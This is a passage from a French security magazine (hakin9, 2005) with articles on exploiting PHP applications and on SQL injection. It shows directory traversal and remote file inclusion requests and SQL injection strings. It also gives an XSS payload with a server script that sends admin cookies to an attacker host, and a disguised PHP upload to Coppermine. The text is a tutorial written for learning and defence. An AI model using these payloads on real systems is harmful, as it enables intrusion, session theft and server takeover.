Page 24: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org22 hakin9 No 3/2005

Base

s

PHP est un langage de scripts qui s'exé-cute côté serveur, doté d'une syntaxe issue des langages C, Perl et Java,

permettant la génération dynamique de pages Web. Des millions de sites à travers le monde entier mettent en œuvre ce langage et de nom-breux projets écrits en PHP sont consultables à partir de bases de données libres comme chez SourceForge (http://sourceforge.net).

La simplicité d'utilisation ainsi que le nom-bre considérable de bibliothèques accessibles à partir de PHP permet à quiconque, connais-sant un minimum ce langage, d'écrire et d'éditer des applications complexes. Dans de nombreux cas, ces applications ne sont malheureusement pas toujours bien conçues et ne fournissent pas la sécurité nécessaire pour un site grand public. À la lumière de ce phénomène, nous allons évoquer les erreurs de sécurité parmi les plus répandues sous PHP ; nous verrons comment repérer ces bogues qui permettent l'accès au code et la manière de les exploiter.

Les données d'entrée utilisateur non contrôléesLe principal problème de sécurité sous PHP est le manque de contrôles sur les données d'entrée

Recherche et exploitation des bogues dans le code PHPSacha Fuentes

Les programmes et scripts développés avec PHP, un des langages de programmation les plus utilisés, sont souvent vulnérables à différentes attaques. Il ne s'agit certes pas d'un certain manque de sécurité au niveau du langage lui-même, mais plutôt de l'inexpérience des programmeurs qui commettent souvent des erreurs de conception.

À propos de l'auteurSacha Fuentes travaille dans le secteur des Tech-nologies de l'Information depuis ces sept dernières années, et possède à son actif une large palette de compétences – de la programmation à l'exploitation des systèmes (y compris l'assistance aux utilisa-teurs). Il s'intéresse à l'ensemble des domaines touchant à la sécurité, mais consacre actuellement la majeure partie de son temps à la sécurité des applications Web ainsi qu'à la formation des utili-sateurs fi naux.

Cet article explique...• vous apprendrez à reconnaître les formes les

plus communes des attaques dites par valida-tion d'entrée (en anglais input validation),

• vous saurez reconnaître les erreurs de con-ception les plus répandues dans les scripts PHP.

Ce qu'il faut savoir...• vous devriez connaître idéalement le langage

PHP.

Page 25: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 23hakin9 No 3/2005

Bogues sous PHP

utilisateur. Il nous faut donc connaî-tre la provenance potentielle de ces dernières. Il existe quatre types de variables pouvant être envoyées au serveur : les variables GET/POST, les cookies et les fi chiers. Considérons un exemple avec les variables GET.

Une requête telle que http://example.com/index.php?var=MYIN-PUT, dont index.php serait :

<?php

echo $var;

?>

produira en sortie l'élément suivant :

MYINPUT

Voilà une méthode très pratique, mais qui présente également très peu de sécurité. Puisque l'utilisateur peut défi nir et affecter des variables arbitraires, le programmeur doit donc rester extrêmement vigilant en matière d'affectation des valeurs par défaut aux variables. Examinons un exemple tiré du manuel d'utilisation de PHP (voir le Listing 1).

Il est possible de modifi er la va-riable $authorized afi n d'obtenir un accès aux données dites sensibles au moyen de la requête suivante : http://example.com/auth.php?autho-rized=1

Il existe un autre exemple de pro-blème se manifestant en présence de données d'entrée utilisateur non contrôlées, à savoir la construction de déclarations SQL. Un système de création de comptes tel que le suivant (supposons que le dernier champ permet de savoir si l'utilisa-teur est admin ou non) :

<?php

$query = "INSERT INTO users

VALUES ('$user', '$pass', 0)";

$result = mysql_query($query);

?>

peut être facilement exploité au moyen d'une requête telle que http://example.com/auth.php?user=HACKER&pass=HACK',1)#'

Cette dernière exécutera l'opéra-tion INSERT INTO users VALUES ('HACK-

ER', 'HACK',1)#', 0). Autrement dit, cette opération permet d'insérer dans la base de données l'utilisateur appelé HACKER, doté des privilèges de l'ad-ministrateur tout en ignorant la suite de la requête puisque cette partie est considérée comme un commentaire (en effet, le signe # indique le début d'un commentaire dans MySQL). Il ne fait donc aucun doute que le program-meur ne peut avoir aucune confi ance dans tout ce qui provient de l'utilisa-teur, puisque ce dernier peut avoir des intentions malhonnêtes.

Possibilités de sécurisation sous PHPIl existe deux drapeaux capables de modifi er le comportement de PHP au moment de traiter les variables d'en-trée (en anglais input variables).

Le premier est connu sous le nom de register _ globals. Lorsque ce drapeau est désactivé (off), les variables ne seront pas enregistrées de manière automatique pour l'utili-sation. Ainsi, le programmeur devra

indiquer l'emplacement à partir du-quel la variable doit être prise. Dans le premier script, donné en exemple, si nous voulions éditer la valeur de la variable var, nous aurions dû dire à l'interpréteur PHP d'obtenir cette dernière à partir des variables GET, de manière à ce que le script se transforme de la manière suivante :

<?php

echo $_GET['var'];

?>

De cette façon, les variables internes ne seront pas polluées par les don-nées d'entrée de l'utilisateur.

L'autre drapeau se nomme ma-gic _ quotes _ gpc (voir également l'article de Tobias Glemser inti-tulé Attaques par injection SQL avec PHP et MySQL), et exécute la fonc-tion addslashes() sur l'ensemble des données issues des variables GET, POST et des cookies, en indiquant toutes les valeurs problématiques au moyen d'une barre oblique inverse.

Listing 1. Exemple d'un script PHP peu sûr

<?php

if (authenticated_user()) { $authorized = true;

}

if ($authorized) { include "/highly/sensitive/data.php";}

?>

Listing 2. Corps d'une page principale wiki

function QWTIndexFormatBody(){

// Output the body

global $QW; return QWFormatQwikiFile( $QW['pagePath'] );}

Listing 3. Exemple d'un fi chier _global.php

$QW['requestPage'] = QWSafeGet( $QW_REQUEST, 'page' );

[...]

if ( !$QW['requestPage'] ) $QW['page'] = $QW_CONFIG['startPage'];

else $QW['page'] = $QW['requestPage'];

[...]

$QW['pagePath'] = QWCreateDataPath( $QW['page'], '.qwiki' );

Page 26: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org24 hakin9 No 3/2005

Base

s

Dans l'exemple précédent, ce dra-peau aurait permis d'éviter l'insertion d'un utilisateur admin alors que la re-quête SQL exécutée aurait été INSERT INTO users VALUES ('HACKER', 'HACK\

',1)#\'', 0), ce qui permet d'insérer un utilisateur dénommé HACKER, dont le mot de passe est HACK',1#' et doté de privilèges normaux.

Depuis PHP 4.2.0 le drapeau register _ globals prend par défaut la valeur OFF et le drapeau magic _

quotes _ gpc est activé. Donc, à partir de maintenant, nous supposerons que le serveur que nous activons pos-sède ces valeurs pour les drapeaux respectifs. Si ces derniers prennent des valeurs différentes, nous n'aurons pas accès au fi chier de confi guration php.ini, mais nous pouvons changer les drapeaux pour nos fi chiers. Le procédé est aussi simple que créer un fi chier .htaccess dans le répertoire où se trouve les scripts PHP en y indi-quant les lignes suivantes :

php_fl ag register_globals 0

php_fl ag magic_quotes_gpc 1

Les violations de répertoiresPar violation de répertoire (en an-glais directory traversal), on entend la vulnérabilité qui permet à l'insti-gateur d'une attaque d'accéder aux fi chiers non autorisés à partir du serveur Web ou, selon la confi gu-ration de PHP, d'inclure des fi chiers provenant d'un autre serveur.

Les fonctions vulnérables sont celles qui traitent les fi chiers tels que include(), require(), fopen(), fi le(), readfi le() etc. Si les données d'en-trée de ces fonctions sont fournies par l'utilisateur sans être effacées correctement, il est alors possible de remonter dans l'arborescence du

répertoire pour accéder à des fi -chiers différents de ceux concernés à l'origine par ces fonctions. Et c'est aussi simple qu'ajouter ../ au para-mètre que nous exploitons.

Analysons maintenant la façon d'exploiter ce procédé dans une ap-plication concrète, QwikiWiki. Ce lo-giciel implémente un wiki, chargé de sauvegarder des pages individuelles dans différents fi chiers. Ces fi chiers sont enregistrés dans un sous-réper-toire appelé data situé à l'intérieur du répertoire principal. Examinons maintenant comment ces fi chiers sont inclus dans la page principale. La fonction chargée de retourner le corps (body) de la page est exposée dans le Listing 2.

Comme vous pouvez le constater, la fonction qui nous intéresse s'appelle QWFormatQwi-

kiFile(). Cette fonction exige que le chemin du fi chier soit retourné. Ainsi, nous savons d'ores et déjà que $QW['pagePath'] est le véritable chemin menant au fi chier. Cette fonction est défi nie dans le fi chier _ global.php (voir le Listing 3).

Ici, la valeur du paramètre de la page est affectée à la variable $QW['requestPage']. En l'absence de défi nition, la variable $QW['page'] est affectée à une page de démarrage par défaut (extraite de la confi gu-ration) ou alors reçoit le paramètre de la page. Finalement, la variable $QW['pagePath'] est remplie au moyen du véritable chemin du fi chier que nous souhaitons montrer, en ap-pelant la fonction QWCreateDataPath(), défi nie dans le fi chier _wikiLib.php de la manière suivante :

function QWCreateDataPath

( $page, $extension )

{

return 'data/'

. $page . $extension;

}

Cette opération se contente de concaténer les paramètres de sorte qu'avec une requête telle que http://example.com/qwiki/index.php?page=QwikiWiki, le programme tenterad'ouvrir le fi chier data/QwikiWiki.qwiki. Il est clair que nous pourrions modifi er ce chemin pour lire des fi chiers situés dans d'autres répertoires.

La requête http://example.com/qwiki/index.php?page=../_con-fi g.php appelera QWCreateDataPath

('../confi g.php','.wiki') qui retour-nera data/../_confi g.php.qwiki. Ce n'est pas exactement ce que nous cherchons – il nous faut nous dé-barrasser du chemin de la chaîne

Figure 1. Fichier _confi g.php exploité

Listing 4. Extrait du script main.php du programme phpGiftReg

if (!empty($_GET["message"])) { $message = $_GET["message"];

}

[...]

if (isset($message)) { echo "<span class=\"message\">" . $message . "</span>";}

Page 27: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 25hakin9 No 3/2005

Bogues sous PHP

.qwiki. Nous allons donc profi ter du fait que sous PHP, les variables se terminent par un caractère NULL. Nous ajoutons un caractère NULL à la fi n du paramètre de la page, la fonction QWCreateDataPath() n'ajou-tera pas l'extension au chemin.

Le caractère NULL peut être codé comme %00. Après son ajout à la requête, celle-ci devient alors la suivante : http://example.com/qwiki/index.php?page=../_confi g.php%00 . Cette requête va alors tenter de lire le fi chier data/../_confi g.php conte-nant le mot de passe illimité de l'ap-plication (cf. la Figure 1).

Par défaut cette méthode est censée ne pas fonctionner. Lorsque le drapeau magic _ quotes _ gpc est activé, PHP annule le caractère NULL au moyen d'une barre oblique inverse et le chemin du fi chier devrait être data/../_confi g.php\. Toutefois, le programmeur avait ajouté les lignes suivantes au fi chier _global.php :

if( count( $QW_REQUEST ) )

foreach( $QW_REQUEST

as $name => $value )

$QW_REQUEST[ $name ]

= stripslashes( $value );

Ces lignes appellent tout simple-ment la fonction stripslashes() pour l'ensemble des paramètres de don-nées d'entrée et effacent les barres obliques inverses présentes dans ces paramètres, ce qui nous permet par conséquent de défi nir un fi chier à ouvrir.

Une autre vulnérabilité, sembla-ble à celle-ci, est l'inclusion de fi -chiers distants (en anglais remote fi le inclusion), dans lesquels les données d'entrée de la fonction include() ne sont pas contrôlées. Nous pouvons indiquer qu'un fi chier distant, dont nous avons le contrôle, soit inclus et exécuté. Par conséquent, si la fonc-tion prend l'apparence suivante :

include($_GET['language'] . ".php");

il est possible d'affecter la valeur http://ourserver.com/crack au paramètre du langage et le script tentera d'in-clure le fi chier http://ourserver.com/

crack.php. Si nous contrôlons donc ce fi chier nous pourrons exécuter tout ce que nous souhaitons dans le serveur distant.

Scripts multi-sitesLes scripts multi-sites, également connus sous le nom de XSS (pour Cross Site Scripting en anglais), permettent l'inclusion de code HTML arbitraire (et par conséquent de Ja-vascript ou autres scripts côté client) dans un site en ayant recours aux hyperliens codés. Ceci se manifeste lorsque le script génère en sortie certains de ses paramètres à l'utili-sateur sans les fi ltrer.

Considérons un court exemple avec phpGiftReg, programme de registres de cadeaux, grâce auquel

nous aborderons des techniques plus sophistiquées permettant d'ex-ploiter ces vulnérabilités.

D'abord, nous devrions considé-rer le fi chier du programme main.php (voir le Listing 4).

Si le paramètre du message n'est pas laissé vide, sa valeur est copiée vers la variable $message, envoyée ultérieurement à l'utilisateur. Ainsi, toutes valeurs passées dans cette variable seront affi chées sur la page. Nous pouvons tenter d'affi cher du texte en affectant une valeur au para-mètre de la manière suivante : http://example.com/phpgiftreg/index.php?message=YOUR SITE HAS BEEN HACKED.

En effet, notre texte est bien re-tourné dans la page (voir la Figure 2).

Figure 2. Effet dû au passage d'une valeur dans le paramètre

Listing 5. Application phpEventCalendar – extrait du script functions.php

function getEventDataArray($month, $year){ [...]

if (strlen($row["title"]) > TITLE_CHAR_LIMIT) $eventdata[$row["d"]]["title"][] =

substr(stripslashes($row["title"]), 0, TITLE_CHAR_LIMIT) . "...";[...]

Listing 6. Script du fi chier get_cookie.php

<?php

$f = fopen("cookies.txt","a");$ip = $_SERVER["REMOTE_ADDR"];

$c = $_GET['cookie'];

fwrite($f, $ip." ".$c."\n");fclose($f);?>

Page 28: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org26 hakin9 No 3/2005

Base

s

Si nous envoyons ce lien à quel-qu'un, il est fort probable que cette personne pense que la page a réelle-ment été attaquée et modifi ée. Tou-tefois, le texte est clairement visible dans la requête elle-même. Nous allons donc tenter de le dissimuler, en codant le paramètre au moyen de la représentation hexadécimale de chaque caractère de la ma-nière suivante : http://example.com/phpgiftreg/index.php?message=%59%4F%55%52%20%53%49%54%45%20%48%41%53%20%42%45%45%4E%20%48%41%43%4B%45%44. Cette nouvelle requête est de loin moins soupçonneuse que la requête précédente. De la même fa-çon que nous avons inclus du texte, nous aurions très bien pu insérer du code JavaScript arbitraire, exécuté dans le serveur de l'utilisateur qui ouvrira le lien.

Injections de code HTMLCe genre de vulnérabilité est très semblable aux scripts multi-sites, mais est potentiellement plus dange-reux puisque la personne, à l'origine de l'attaque, n'a pas besoin d'envoyer de lien pour exploiter cette faille. Ce genre d'attaques peut être utilisé avec un logiciel chargé de sauvegarder les données d'entrée de l'utilisateur (soit dans une base de données, soit dans des fi chiers) et de les affi cher plus tard à d'autres utilisateurs non fi ltrés. Il est possible de trouver facilement ce type

de bogues dans de nombreux forums en ligne et autres applications qui per-mettent de partager des informations entre plusieurs utilisateurs.

Il est relativement aisé de savoir si une application est vulnérable ou pas, même sans prendre connais-sance du code source. Cherchez un quelconque emplacement où vous pouvez insérer des informations que le système enregistrera et affi chera ultérieurement (par exemple, nous pourrions tenter l'expérience sur les messages que nous écrivons, mais également sur le nom de l'utilisateur ou la description de notre utilisateur) et y écrire le code suivant : <script>alert(document.cookie);</script>. Si une boîte de message affi che notre cookie à l'ouverture de la page, l'ap-plication peut alors être considérée comme vulnérable.

Maintenant que nous avons ap-pris à reconnaître cette vulnérabilité, nous allons tenter de la faire fonction-ner dans une application concrète appelée, phpEventCalendar, dont le but est de permettre aux utilisateurs de partager un agenda électronique. Nous ouvrons une session par le biais d'un utilisateur non-privilégié pour in-sérer dans l'agenda électronique un nouvel événement. Ce nouvel évé-nement peut prendre n'importe quel titre de notre choix, quant au texte de l'événement, il devrait prendre la forme suivante : <script>alert(document.cookie);</script>. Une fois l'évé-nement inséré et au moment où nous tentons de l'affi cher, un message surgit contenant notre cookie actuel pour la page. Il aurait été parfait d'insérer cet élément dans le titre de l'événement, puisqu'il n'aurait plus été nécessaire de voir l'événement exé-cuter notre code. Toutefois, si nous tentons cette nouvelle approche, rien

ne fonctionne. En effet, il semble y avoir une limite dans la longueur du titre affi ché. Si nous considérons les éléments enregistrés dans la base de données, il est effectivement possible de voir le titre complet, mais, dans le fi chier functions.php de cette applica-tion, nous pouvons trouver le code suivant dont voici exposé un extrait dans le Listing 5.

Cette fonction a pour objectif de limiter la longueur du titre aux ca-ractères suivants TITLE_CHAR_LI-MIT, et, par défaut, cette longueur est défi nie à 37 caractères dans le fi chier confi g.php. Par conséquent, à moins que l'administrateur n'ait changé la confi guration, le texte que nous insérons sera limité à 37 carac-tères, ce qui est insuffi sant pour ce que nous souhaitons faire. Il nous faut, donc, avoir recours au texte de l'événement.

Afi n d'obtenir le cookie admi-nistrateur, il nous faut procéder de la même façon qu'avec le piège de l'alerte. Toutefois, au lieu de le montrer à l'utilisateur, nous nous l'enverrons. Pour ce faire, il nous faut contrôler un serveur dans le-quel nous pouvons exécuter des fi chiers PHP et où nous sauvegar-derons le cookie. Nous créerons dans ce serveur un fi chier nommé get_cookie.php dont le contenu est exposé dans le Listing 6.

Ce script ouvre normalement le fi chier intitulé cookies.txt et y copie l'adresse distante du demandeur de la requête (soit son IP) ainsi que la valeur du paramètre du dit cookie. Puis, nous créons un nouvel événe-ment, dont, cette fois, le texte sera le suivant :

<script>document.location=§ "http://[OURSERVER]/get_

Figure 3. Exécution d'une application JavaScript (Injections HTML)

Listing 7. Code présent dans le fi chier index.php de l'application phpGiftReg

$action = $_GET["action"];

if ($action == "ack") { $query = "UPDATE messages SET isread = 1

WHERE messageid = " . $_GET["messageid"];

mysql_query($query) or die("Could not query: ".mysql_error());}

Page 29: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 27hakin9 No 3/2005

Bogues sous PHP

cookie.php?§ cookie=" + document.cookie;</script>

Lorsque l'administrateur ouvre cet événement, notre script injecté sera alors exécuté, redirigeant l'utilisateur

vers notre script tout en passant la valeur actuelle de son cookie. Nous obtiendrons ainsi le cookie qui nous intéresse dans le fi chier cookies.txt. Il est alors possible d'utiliser ce coo-kie pour ouvrir une session adminis-

trateur et modifi er tout ce que nous souhaitons (voir la Figure 3).

Injections SQLOn peut rencontrer une certaine vulnérabilité aux injections SQL (voir à ce sujet l'article de Tobias Glemser intitulé Attaques par injections SQL avec PHP et MySQL dans la pré-sente édition du magazine hakin9) lorsqu'un utilisateur a la possibilité de modifi er une requête SQL exécu-tée à son avantage. À titre de court exemple, nous observons une fois de plus l'application phpGiftReg. Le co-de présent dans le fi chier index.php est exposé dans le Listing 7.

Ces lignes ont pour objectif d'exécuter l'instruction SQL si le pa-ramètre de l'action est égal à ack, re-connaissant ainsi le message indiqué dans un paramètre appelé messageid. Il est possible de contrôler le para-mètre messageid, et rien n'est plus simple. En effet, il suffi t de modifi er une requête afi n de régler le champ isread pour toutes les rangées de la façon suivante : http://example.com/phpgiftreg/index.php?action=ack&messageid=2%20OR%201%3d1. Une fois réglé, ce paramètre exécutera la requête UPDATE messages SET isread = 1 WHERE messageid = 2 OR 1=1, en réglant de manière effective isread à 1 dans l'ensemble des registres, puisque la clause WHERE sera vraie pour l'ensemble des enregistrements (en effet, 1=1 est toujours vraie).

Téléchargement de fi chiers PHP vers le serveurPHP permet de télécharger des fi chiers vers le serveur. Ce procédé est en général utilisé dans le but d'in-sérer une image n'importe où dans le site ou de partager des fi chiers entre différents utilisateurs. Toutefois, que se passerait-il si nous téléchargions une autre sorte de fi chier sous forme de scripts PHP ? Nous aurions la possibilité d'exécuter un code arbi-traire dans le serveur, nous permet-tant ainsi de contrôler ce dernier.

Lorsqu'un fi chier est téléchargé vers le serveur, il est possible de

Figure 4. Fichier invalide téléchargé vers le serveur de Coppermine

Figure 5. Attaque réussie d'un fi chier envoyé vers le serveur

Listing 8. Script du fi chier useradmin.php

switch( $fl ag ) { case "changepw": changePW($fl ag);

break; case "updatepw": updatePassword();

changePW($fl ag);

break;[...]

function updatePassword(){

global $HTTP_POST_VARS, $HTTP_SESSION_VARS; $pw = $HTTP_POST_VARS['pw'];

$id = $HTTP_POST_VARS['id'];

[...]

$sql = "UPDATE " . DB_TABLE_PREFIX .

"users SET password='$pw' WHERE uid='$id'";

$result = mysql_query($sql) or die(mysql_error()); $HTTP_SESSION_VARS['authdata']['password'] = $pw;

}

Sur le réseau :• http://www.qwikiwiki.com/ – le projet QwikiWiki,• http://phpgiftreg.sourceforge.net/ – l'application phpGiftRegistry,• http://www.ikemcg.com/scripts/pec/ – l'application PHP Event Calendar,• http://coppermine.sourceforge.net/ – la galerie d'images Coppermine.

Page 30: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org28 hakin9 No 3/2005

Base

s

trouver des informations concernant ce dernier dans le tableau $ _ FILES ou $HTTP _ POST _ FILES. Nous pou-vons ainsi trouver l'emplacement, dans le code, où est effectué le trai-tement en cherchant ces variables. Nous allons appliquer cette méthode sur l'ancienne version de Copper-mine, galerie d'images Web. Si nous téléchargeons le fi chier .php vers le serveur, celui-ci répond que le fi chier téléchargé n'est pas une image valide. Il semble donc que nous de-vions pousser un peu plus loin cette méthode (voir la Figure 4).

Il suffi t d'exécuter la commande suivante dans le répertoire où se trouvent les fi chiers .php et nous saurons par où commencer :

$ rgrep "_FILES" *

Nous pouvons alors voir le seul fi chier chargé de traiter les téléchar-gements vers le serveur. Il s'agit du fi chier intitulé db_input.php. Regar-dons donc d'un peu plus près :

case 'picture':

$imginfo = $HTTP_POST_FILES

['userpicture']['tmp_name'] ?

@getimagesize($HTTP_POST_FILES

['userpicture']['tmp_name'] : null;

Ces indications affectent les proprié-tés de l'image téléchargée vers le serveur, s'il y en a, vers la variable $imginfo, de telle sorte que le fi chier téléchargé doive retourner les valeurs correctes pour la fonction getimagesi-ze(). Ces indications nous suffi sent : il nous faut créer un fi chier PNG 1x1 pixels appelé image.png ainsi qu'un fi chier PHP intitulé code.php conte-nant le code que nous souhaitons exécuter. Puis, il faut concaténer les deux fi chiers au moyen des instruc-tions suivantes, chargées de créer un fi chier intitulé crack_up.php :

$ cat image.png code.php \

> crack_up.php

Envoyez ensuite le fi chier crack_up.php à partir de l'interface standard Coppermine. L'image est alors ajoutée à la galerie et notre fi chier peut être

situé à l'adresse suivante : http://example.com/coppermine/albums/userpics/crack_up.php, où nous pouvons l'exécuter comme n'importe quel autre script PHP (voir la Figure 5).Il est probable que vous deviez re-garder la source du script retourné si aucun contenu ne s'affi che, puisque le PNG se trouvera au début et peut être à l'origine de défauts d'affi chage du contenu.

Erreurs de conceptionLe dernier type de vulnérabilités que nous allons évoquer est l'erreur de conception. Si le développeur d'un logiciel que nous tentons d'exploiter y a travaillé sans penser à le sécu-riser, il est fort possible que certains éléments ont été mal conçus. C'est à partir de ces éléments que nous pouvons tenter de tirer avantage pour notre propre compte. Malheureuse-ment, ce genre de vulnérabilités sont diffi ciles à repérer puisqu'il nous faut connaître le fonctionnement interne de l'application et revoir une grande partie du code afi n de trouver une erreur de cette sorte. Par ailleurs, chaque erreur de conception est dif-férente dans la mesure où chacune est spécifi que à chaque application et à chaque développeur.

Observons comment trouver une erreur de conception dans l'appli-cation phpEventCalendar, où nous avions précédemment trouvé une vulnérabilité aux injections HTML. Supposons que nous soyons de simples utilisateurs et que nous souhaitions devenir administrateurs, soit en trouvant le mot de passe de l'administrateur, soit en changeant ce dernier en valeur arbitraire.

Une fois la session ouverte, l'unique option associée au mot de passe consiste à le changer. Ainsi, il nous faut observer le fi chier chargé de cette procédure, et intitulé useradmin.php (voir le Listing 8).

Notre application a recours à la valeur id passé en paramètre afi n de modifi er le mot de passe au lieu d'uti-liser celui qu'il possède déjà dans la variable de la session. Nous pouvons donc affecter n'importe quelle valeur à l'id et, par conséquent, modifi er

le mot de passe de tout utilisateur si nous connaissons son id dans la base de données.

Comme l'administrateur est généralement le premier utilisateur créé, son id sera 1. Essayons donc de modifi er son mot de passe. Tout d'abord, nous allons demander http://example.com/pec/useradmin.php?fl ag=changepw puis sauvegarder cette requête sur le disque dur. Nous allons l'éditer pour chercher l'élément suivant (votre valeur peut être différente) :

<input type="hidden" § name="id" value="2">

Nous allons le substituer avec :

<input type="hidden" § name="id" value="1">

et changer également f.action =

"useradmin.php?fl ag=updatepw"; pour la direction correcte du fi chier (par exemple http://example.com/pec/useradmin.php?fl ag=updatepw). Lors-que nous téléchargeons ce fi chier dans le navigateur, il est possible de changer et d'affecter la valeur que nous souhaitons au mot de passe de l'administrateur.

Ne croyez personneNous venons d'aborder les différentes manières d'exploiter un script PHP (parmi ces manières, nombreuses sont également applicables aux scripts écrits dans d'autres langues). En conclusion, nous ne devons faire confi ance en aucune donnée d'entrée émanant d'emplacements que nous ne contrôlons pas, et plus particulière-ment venant des utilisateurs. Les don-nées d'entrée doivent faire l'objet d'un contrôle ainsi que d'une validation mi-nutieuse avant d'être utilisées. Il existe de nombreuses façons de contrôler les données d'entrée pour les valider et il est toujours plus pertinent de re-mettre en cause une donnée d'entrée correcte que d'autoriser l'accès à une donnée d'entrée incorrecte. Par con-séquent, le recours à une politique de liste blanche plutôt qu'à une politique de liste noire est une solution des plus judicieuse. n

Page 31: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi
Page 32: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org30 hakin9 No 3/2005

Att

aque

Un grand nombre de sites Web font ap-pel à PHP allié à une base de données MySQL. La plupart des systèmes de fo-

rum (en anglais bulletin board systems) tels que phpBB ou VBB, se fonde sur cette combinaison de technologies, pour ne nommer que les plus populaires. Il en va de même pour les systèmes CMS (soit Content Management System, en anglais) tels que PHP-Nuke ou des solutions d'achats électroniques comme osCommerce.

Pour être bref – il existe de nombreuses implémentations convenables pour la combinai-son PHP/MySQL auxquelles tout un chacun est souvent confronté en surfant sur le Web. Cette combinaison de technologies est tellement uti-lisée que les taux d'attaques de ces sytèmes sont en constante hausse et les injections SQL comptent parmi les techniques les plus utilisées pour mener de telles attaques. Afi n d'être capa-ble de protéger votre système, il est vraiment im-portant de bien comprendre le fonctionnement des injections SQL.

Dans le vif du sujetCommençons par un script légèrement in-certain que nous avons appelé login.php et exposé dans le Listing 1 (réduit à l'essentiel,

Attaques par injection SQL avec PHP et MySQLTobias Glemser

Il existe un certain nombre de techniques communes dont l'objectif est d'attaquer les environnements PHP/MySQL. Les injections SQL font partie des techniques d'attaques parmi les plus utilisées. Cette technique consiste à altérer l'état de l'application qui subit l'attaque de manière à accepter nos données d'entrée capables de manipuler les requêtes SQL. Les injections SQL doivent par conséquent être considérées comme un membre de la famille des attaques par validation des données d'entrée (en anglais input validation).

la version complète est présente sur hakin9.live). Ce script fait appel à une seule base de données sous MySQL appelée userdb dotée d'une seule table appelée userlist. Cette table userlist stocke les données en deux rangées : username (nom de l'utilisateur) et password (mot de passe).

Si aucun nom d'utilisateur n'est entré, le script affi che alors une page d'ouverture de session. Une fois que les utilisateurs valides ouvrent leur session, ils pourront voir leur nom d'utilisateur ainsi que leur mots de passe. Si cette

Cet article explique...• les techniques de base relatives aux injections

SQL,• les attaques par UNION SELECT,• les magic_quotes et leurs usages.

Ce qu’il faut savoir...• vous devriez connaître au moins le fonctionne-

ment de base du langage PHP,• vous devriez être capable de comprendre le

fonctionnement élémentaire des requêtes MySQL.

Page 33: index-of.es/index-of.es/Magazines/hakin9/hakin9 N3_2005_10.pdf · 2019. 3. 3. · Directeur de la publication : Jarosław Szumski Imprimerie, photogravure : 101 Studio, Firma Tęgi

www.hakin9.org 31hakin9 No 3/2005

Attaques par injections SQL

combinaison nom d'utilisateur/mot de passe n'est pas valide, un message Not a valid user (le nom de l'utilisateur et le mot de passe ne sont pas vali-des) sera affi ché. Nous allons tenter maintenant d'effectuer une ouverture de session au moyen d'un nom d'utili-sateur valide sans toutefois connaître le mot de passe correspondant. Pour y parvenir, nous allons mettre au point une attaque par injection SQL.

L'attaque démarre sur un carac-tère de contrôle (en anglais control character) de MySQL. Les caractères de contrôle les plus importants sont exposés dans le Tableau 1. Nous al-lons tenter d'intercepter la déclaration originale SQL du script au moyen de caractères de contrôle, en les manipu-lant. Nous pouvons débuter l'attaque sur cette base (mais afi n de corser l'affaire, je vous encourage à ne pas consulter tout de suite le code source exposé dans le Listing 1).

Nous supposerons que l'utilisa-teur admin existe (c'est d'ailleurs souvent le cas). Si nous entrons le nom d'utilisateur admin, nous ne pourrons pas ouvrir de session. Examinons alors ce qui se passe si nous manipulons la chaîne soumise à la requête SQL en ajoutant à cette

dernière un guillemet simple à la suite du nom de l'utilisateur dans notre script. Le script va émettre alors le message d'erreur suivant : You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'' AND `password` = ''' at line 1 (Une erreur de syntaxe SQL s'est produite dans le script. Veuillez consulter le manuel correspondant à la version de votre serveur MySQL pour utiliser la syntaxe appropriée après ''admin'' ET `password` = ''' sur la ligne 1). Nous avons ici sous les yeux une partie de la syntaxe SQL que nous souhaitons attaquer. Et nous savons de surcroît que cette

syntaxe est vulnérable, puisque, si tel n'était pas le cas, le script n'aurait généré aucun message d'erreur.

L'étape suivante consiste à rendre la déclaration SQL vraie, de sorte qu'elle soit traitée par le script puis soumise au serveur SQL. Comme vous pouvez le constater dans le Tableau 1, la déclaration suivie de OR 1=1 est toujours vraie. Entrons donc notre nom d'utilisateur suivi de l'ex-pression OR 1=1, de manière à obtenir la chaîne admin ‘ OR 1=1. Malheureu-sement, cette chaîne génère à son tour un message d'erreur. Essayons donc la proposition suivante exposée dans la table. Nous changerons OR 1=1 en OR 1=’1 et voilà que nous pouvons ouvrir la session. Le script est telle-ment gentil qu'il nous retourne le vrai mot de passe de l'utilisateur.

Si vous observez maintenant le code source exposé dans le Listing 1,vous devriez comprendre d'ores et dé-jà les raisons d'un tel comportement. L'instruction d'origine select SELECT *

FROM `userlist` WHERE `username =

'$username' AND `password` = '$pas-

sword' a été modifi ée en SELECT * FROM `userlist` WHERE `username = 'admin

' OR 1='1' AND `password` = '', ce qui la rend vraie. Nous aurions également pu indiquer comme commentaires extérieurs la partie du script suivant

